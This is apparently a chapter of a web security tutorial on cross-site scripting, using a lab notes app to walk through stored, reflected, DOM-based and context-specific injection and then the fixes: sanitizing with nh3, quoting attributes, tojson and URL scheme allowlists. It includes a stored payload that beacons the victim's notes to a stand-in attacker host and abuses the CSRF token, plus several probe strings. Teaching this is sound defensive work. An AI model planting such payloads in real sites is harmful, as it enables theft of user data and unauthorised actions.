4 — Script that isn’t yours
Chapter 3 closed the forged requests. A page on another site, or on a sibling subdomain, can no longer make alice’s browser change anything: state never changes on GET, every form carries a token that only the app’s own pages contain, and the Fetch Metadata check refuses unsafe requests unless Sec-Fetch-Site is same-origin or none.
Every one of those defenses trusts the app’s own origin. A request from https://notes.test is assumed to be something alice chose to do, because only the app’s code runs there. Chapter 3 ended by showing that this isn’t quite true. The app puts what users type into its pages as markup, so a <b> in a note becomes a real <b> element. If a <b> gets through, so does a <script>, and a script running in the app’s page is the app as far as the browser is concerned.
That is cross-site scripting, XSS: an attacker’s script running in the security context of someone else’s site. The name is old and misleading (nothing has to cross between sites), but the idea is simple. The same-origin policy draws its line around the origin, and XSS puts the attacker inside the line.
The lab for this chapter and the next two runs on new ports. The app is at https://notes.test:5201, and a second server answers on port 5202 for attacker.test, pages.notes.test and, later, a few other names. Everything else is as chapter 3 left it: __Host-sid with HttpOnly, Secure and SameSite=Lax, rotation on login, the synchronizer token, the JSON content-type check and Fetch Metadata. The browser is headless Chrome 157.0.8103.40.
Four places where input comes back
Four parts of the app echo something a user controls.
The note page renders the body as HTML, on purpose, so people can use bold and links:
<div class="body">{{ note.body|safe }}</div>
The search page says what was searched for, and offers a box to search again:
<h1>Results for {{ q|safe }}</h1>
...
<input name=q value={{ q }}>
<script nonce="{{ nonce }}">const page = {{ page }};</script>
The profile page lets a user set a website, which appears as the author link on each of their notes:
<p>by <a href="{{ note.website }}">{{ note.username }}</a></p>
And a small script, /static/app.js, shows one-line messages passed in the URL fragment. After saving a note the app redirects to /#Note%20saved, and the script puts the text in a banner:
const flash = document.getElementById('flash');
if (flash && location.hash.length > 1) {
flash.innerHTML = decodeURIComponent(location.hash.slice(1));
}
Each is a different kind of XSS, and they need different fixes.
Stored: a note that attacks whoever reads it
Mallory writes a note. The visible part is an agenda; the rest is an image that fails to load and runs its error handler:
<p>Agenda for Thursday.</p>
<img src=x onerror="
fetch('/api/notes').then(r => r.json()).then(notes => {
navigator.sendBeacon('https://attacker.test:5202/collect',
JSON.stringify({cookie: document.cookie, notes}));
const token = document.querySelector('[name=csrf_token]').value;
for (const n of notes) if (n.owner === 'alice')
fetch('/notes/' + n.id + '/share', {method: 'POST',
body: new URLSearchParams({csrf_token: token, with: 'mallory'})});
})">
She shares it with alice through the normal share form. The app stores the body as it was typed, in PostgreSQL, and nothing bad happens yet. This is stored XSS: the payload sits in the database and runs for everyone who views it.
Then alice opens the note. Chrome’s record of what her tab did next:
GET https://notes.test:5201/notes/2 Sec-Fetch-Site=none Cookie=__Host-sid=iI47weF7...
GET https://notes.test:5201/notes/x Sec-Fetch-Site=same-origin (the broken image)
GET https://notes.test:5201/api/notes Sec-Fetch-Site=same-origin Cookie=__Host-sid=iI47weF7...
POST https://notes.test:5201/notes/1/share Sec-Fetch-Site=same-origin Cookie=__Host-sid=iI47weF7...
POST https://attacker.test:5202/collect Sec-Fetch-Site=cross-site Origin=https://notes.test:5201
The attacker’s server received:
[attacker.test:5202] COLLECTED: {"cookie":"","notes":[{"body":"The side door code is 4417.","id":1,"owner":"alice","title":"Door code"}, ...]}
and the app logged the share:
POST notes.test:5201/notes/1/share Origin=https://notes.test:5201 Sec-Fetch-Site=same-origin Cookie=yes
SHARED note 1 of alice with mallory
When mallory loaded her own notes list afterward, it contained [1, "alice", "Door code"].
Look at what each of chapter 3’s defenses saw. The share request came from the app’s own origin, so Sec-Fetch-Site was same-origin and the Fetch Metadata check let it through. It carried a valid CSRF token, read from the share form on the same page. It carried alice’s SameSite=Lax cookie, because it was a same-origin request. All three checks did exactly what they were built to do. They answer “did this request come from the app’s page?”, and it did.
What HttpOnly did and didn’t do
The payload also sent document.cookie, and the attacker got an empty string. HttpOnly kept the session ID out of the script’s reach, as chapter 2 set it up to do. That matters: with the ID, mallory could use alice’s session from her own machine, at any time, until it expired.
But the script didn’t need the ID. It ran inside alice’s tab, and every request it made carried the cookie anyway, because that’s what the browser does for same-origin requests. Anything alice can do in the app, the script can do while the page is open: read every note, share them, delete them, change the profile, read the CSRF token and use it. It can also rewrite the page, for example into a fake “your session expired, please log in again” form that posts the password to attacker.test. HttpOnly turns “steal the session” into “use the session while the victim is looking at the page”. That’s an improvement in how long the damage lasts, not in how much damage there is.
Reflected: a link that attacks whoever clicks it
The search heading puts the query into the page with |safe. Nothing needs to be stored. Mallory sends alice a link:
https://notes.test:5201/search?q=<img src=x onerror="console.log('reflected XSS on', document.domain)">
(URL-encoded in practice.) Alice’s browser requests it, the server copies the query into the response, and Chrome’s console shows:
console.log: reflected XSS on notes.test
This is reflected XSS: the payload travels in the request and comes straight back in the response. It needs the victim to follow a link, which makes it a little less convenient than stored XSS, but links are easy to deliver, and shorteners and redirects hide what they contain. Browsers once shipped filters that tried to spot request data being reflected into script. Chrome’s was removed years ago, and as the console line shows, nothing in Chrome 157 stood between the reflected payload and the page.
SameSite=Lax doesn’t help either. Following a link is a top-level GET navigation, exactly the case where Lax sends the cookie, and the search page needs alice to be logged in to show her results.
DOM-based: the server never sees it
The flash banner reads the URL fragment, the part after #, and assigns it to innerHTML. Mallory’s link:
https://notes.test:5201/#<img src=x onerror="console.log('DOM XSS on', document.domain)">
console.log: DOM XSS on notes.test
The app’s log for that visit:
GET notes.test:5201/ Origin=None Sec-Fetch-Site=none Cookie=yes
The fragment is never sent to the server. The server returned the ordinary home page, with nothing injected, and the app’s own script built the attack inside the browser. This is DOM-based XSS: the source of the data (here location.hash; also location.search, postMessage data, localStorage, document.referrer) and the dangerous sink (innerHTML, outerHTML, insertAdjacentHTML, document.write, eval, a script’s src, a link’s href) are both in client-side code. Server-side logging and server-side filters can’t see it. Fixing it means fixing the JavaScript.
The first fix: stop marking things safe
Flask turns on Jinja2’s autoescaping for templates ending in .html, .htm, .xml, .xhtml and .svg when they’re rendered with render_template(), and for every string passed to render_template_string(). Autoescaping replaces five characters with HTML entities: &, <, >, " and '. The |safe filter, and wrapping a string in Markup() in Python, both tell Jinja2 “this is already HTML, leave it alone”. The vulnerable templates used |safe twice. Removing it is the obvious first move:
<h1>Results for {{ q }}</h1>
<div class="body">{{ note.body }}</div>
Rerun, the reflected payload now arrives as text:
Results for <img src=x onerror="console.log('reflected XSS on', document.domain)">
The stored one too. The note page’s body, as the DOM sees it:
<b>bold</b> and <a href="https://example.com/">a link</a> <img src=x onerror="console.log('stored XSS on', document.domain)">
No script ran for either. But the bold text and the link are now escaped too, and showing formatting was the reason for |safe in the first place. That’s handled below with a sanitizer. More importantly, three of the other probes still worked with autoescaping fully on.
Why escaping depends on where the text lands
HTML escaping makes text safe in one place: between tags, or inside a quoted attribute value. An HTML page has several other contexts, each with its own syntax, and text that is harmless in one is code in another. OWASP’s XSS prevention recommendations put it bluntly: “Output encoding is not perfect. It will not always prevent XSS.”
An unquoted attribute
The search box writes value={{ q }} without quotes. An unquoted attribute value ends at the first space, and a space isn’t one of the five characters Jinja2 escapes. The probe:
/search?q=x autofocus onfocus=console.log(/attribute-XSS/.source,document.domain)
The response, with autoescaping on:
<input name=q value=x autofocus onfocus=console.log(/attribute-XSS/.source,document.domain)>
The payload uses no quotes, angle brackets or ampersands, so escaping had nothing to do. The browser parsed three attributes, focused the input, and ran the handler:
console.log: attribute-XSS notes.test
The fix is quotes, always: value="{{ q }}". Inside double quotes, the only way out is a ", and that’s escaped to ". Afterward the whole payload stays inside the value:
<input name="q" value="x autofocus onfocus=console.log(/attribute-XSS/.source,document.domain)">
Inside a script
The page number goes into a script as const page = {{ page }};. HTML escaping in a JavaScript context is the wrong encoding entirely. Entities aren’t decoded inside <script>, so escaping corrupts legitimate data, and it doesn’t stop code that needs none of the five characters:
/search?q=x&page=1;console.log(/js-context-XSS/.source,document.domain)
<script nonce="iveKcytbBxH33Az_Ecfghw">const page = 1;console.log(/js-context-XSS/.source,document.domain);</script>
console.log: js-context-XSS notes.test
The right tool is Jinja2’s tojson filter, which produces a JSON literal and additionally escapes <, >, & and ' as <-style sequences so the value can’t close the script element:
<script nonce="...">const page = {{ page|tojson }};</script>
The same probe now produces a string, not code:
<script nonce="b60Wr5TLa7VCN9OCHhaY2g">const page = "1;console.log(/js-context-XSS/.source,document.domain)";</script>
and a classic breakout attempt, page=</script><script>alert(1)//, renders as "</script><script>alert(1)//". Better still is not to put data in script at all: put it in a data- attribute (quoted, HTML-escaped) and read it from a static script file. The next chapter gives another reason to prefer that.
A URL
The author link writes the user’s website into href. Mallory sets hers to:
javascript:console.log('XSS via href on', document.domain)
Autoescaping happily escapes the quotes, which the browser then decodes back when it reads the attribute. The value is perfectly well-formed HTML. It’s just that its meaning, as a URL, is “run this script”. When alice clicks “mallory” on one of mallory’s notes:
console.log: XSS via href on notes.test
No encoding fixes this, because nothing is being parsed wrongly. The fix is validation: the URL’s scheme has to be one the app allows. The profile form now rejects anything that isn’t http or https, and the template checks again on the way out, so values stored before the fix are neutralized too:
def safe_url(url):
return url if urlsplit(url).scheme in ("http", "https") else ""
<p>by <a href="{{ safe_url(note.website) }}">{{ note.username }}</a></p>
After the fix, saving javascript:... returned a 400, and the existing stored value rendered as href="". Checking the parsed scheme against an allowlist matters more than how it’s done: blocklists that look for the string javascript: miss JaVaScRiPt:, leading spaces and tabs, and entity-encoded forms like javascript:, all of which browsers accept. data: URLs deserve the same suspicion.
CSS
CSS is a fifth context. The app doesn’t put user data into styles, but if it wrote style="color: {{ color }}", a value like red; background-image: url(https://attacker.test/x) would add a property that makes a request, and older browsers allowed script through CSS expressions. Modern browsers no longer run script from CSS, but injected styles can still exfiltrate data through selectors and image URLs, or redraw the page. OWASP’s advice is to keep untrusted data out of CSS entirely, or set a fixed property through the CSSOM (element.style.setProperty) with an allowlisted value.
The pattern
| Context | Example | What makes it safe |
|---|---|---|
| HTML body | <h1>Results for {{ q }}</h1> | HTML escaping (autoescape) |
| Quoted attribute | value="{{ q }}" | HTML escaping, and quotes |
| Unquoted attribute | value={{ q }} | Nothing; quote it |
| JavaScript | const page = {{ page }}; | tojson, or move the data to a data- attribute |
URL in href/src | href="{{ url }}" | Scheme allowlist, then HTML escaping |
| CSS | style="color: {{ c }}" | Keep data out, or an allowlisted value via CSSOM |
| HTML the user wrote | a note body with formatting | A sanitizer |
Autoescaping solves the first row everywhere at once, which is why it’s the right default. Every other row needs someone to notice the context.
Sanitizing the HTML people are allowed to write
Notes are meant to contain some HTML. Escaping everything breaks that, and passing it through breaks everything else. The answer is an HTML sanitizer: a parser that builds a tree from the input and keeps only elements and attributes on an allowlist. Regular expressions are the wrong tool here, because the browser’s HTML parser is forgiving in ways regexes don’t model.
The app uses nh3, Python bindings for the Rust ammonia sanitizer:
import nh3
def render_body(body):
return Markup(nh3.clean(
body,
tags={"b", "i", "em", "strong", "a", "p", "br", "ul", "ol", "li", "code", "pre"},
attributes={"a": {"href"}},
url_schemes={"http", "https", "mailto"},
))
<div class="body">{{ render_body(note.body) }}</div>
Markup() here is the honest version of |safe: the string really is safe now, because it came out of the sanitizer. The note page after the fix:
<b>bold</b> and <a href="https://example.com/" rel="noopener noreferrer">a link</a>
The formatting survived, the <img> with its handler was dropped, and nh3 added rel="noopener noreferrer" to the link on its own. Run directly against some other common payloads, it gave:
| Input | Output |
|---|---|
<a href="javascript:alert(1)">x</a> | <a rel="noopener noreferrer">x</a> |
<a href="JaVaScRiPt:alert(1)">x</a> | <a rel="noopener noreferrer">x</a> |
<a href="javascript:alert(1)">x</a> | <a rel="noopener noreferrer">x</a> |
<svg onload=alert(1)> | (empty) |
<base href="https://attacker.test/"> | (empty) |
<p style="color:red" onclick="x()">hi</p> | <p>hi</p> |
<scr<script>ipt>alert(1)</script> | ipt>alert(1) |
A few practical points. Sanitize on output, or on both input and output, rather than only once on input; a stored value written before the sanitizer existed, or by another code path, then still gets cleaned, and the allowlist can change later without migrating data. Keep the allowlist small: every allowed tag and attribute is something to think about, and style, class and id each open their own problems (CSS injection, and clobbering element IDs that scripts look up). And sanitize for the context where the HTML will be used. A sanitizer’s output is safe as HTML body content; it isn’t safe to paste into an attribute or a script.
In the browser, the same job is done by a JavaScript sanitizer such as DOMPurify before an innerHTML assignment, or by the newer Element.setHTML(), which parses, sanitizes and inserts in one step and always strips script-capable elements and event handlers whatever configuration it’s given. Chrome 157 has it:
d.setHTML('<b>bold</b> <a href="javascript:alert(1)">x</a> <img src=x onerror="console.log(1)"> <script>console.log(2)<\/script>');
d.innerHTML // "<b>bold</b> <a>x</a>"
MDN still lists setHTML() as limited availability, so it needs a fallback for now.
Fixing the DOM sink
The flash banner only ever shows plain text, so it never needed HTML parsing. The fix is one property:
flash.textContent = decodeURIComponent(location.hash.slice(1));
textContent creates a text node; nothing in the string is parsed. The same goes for innerText, createTextNode, setAttribute with a fixed, non-event attribute name, and value on form fields. The DOM-based payload now appears in the banner as literal text:
<img src=x onerror="console.log('DOM XSS ran')">
Finding every innerHTML in a large codebase by hand doesn’t scale. Chapter 5 shows how the browser can be told to refuse strings at these sinks altogether.
All the probes, before and after
Each probe ran as alice in a fresh headless Chrome, three times: against the vulnerable version, after removing |safe only, and with all the fixes.
| Probe | Vulnerable | safe filter removed | All fixes |
|---|---|---|---|
Stored, note body <img onerror> | Ran | Escaped (formatting lost too) | Stripped by sanitizer, formatting kept |
| Reflected, search heading | Ran | Escaped | Escaped |
DOM, fragment into innerHTML | Ran | Ran | Shown as text |
| Unquoted attribute | Ran | Ran | Contained in quoted value |
JavaScript context (page) | Ran | Ran | A JSON string |
javascript: author link | Ran | Ran | Rejected on save, href="" on output |
The middle column is the one to remember. Autoescaping was on, |safe was gone, and half of the holes were still there.
Where this leaves things
Every XSS hole found in the app is closed: the note body goes through a sanitizer, the search page quotes its attributes and serializes its script data with tojson, the profile only accepts http and https URLs and the template checks them again, and the flash banner uses textContent. The stored attack that shared alice’s door code with mallory, and every other probe, now fails.
It took six separate fixes, in four files, for one small app, and each one depended on someone noticing which context a value lands in. The next template change, the next |safe added “just for this field”, the next innerHTML in a new script, puts the app back where it started, and the defenses from chapter 3 can’t help, because an injected script runs as the app. What’s missing is a second line: something that limits what script can run on the page even when an injection gets through. That is what Content Security Policy is for, and chapter 5 runs this chapter’s attacks against the vulnerable version again with a policy in place.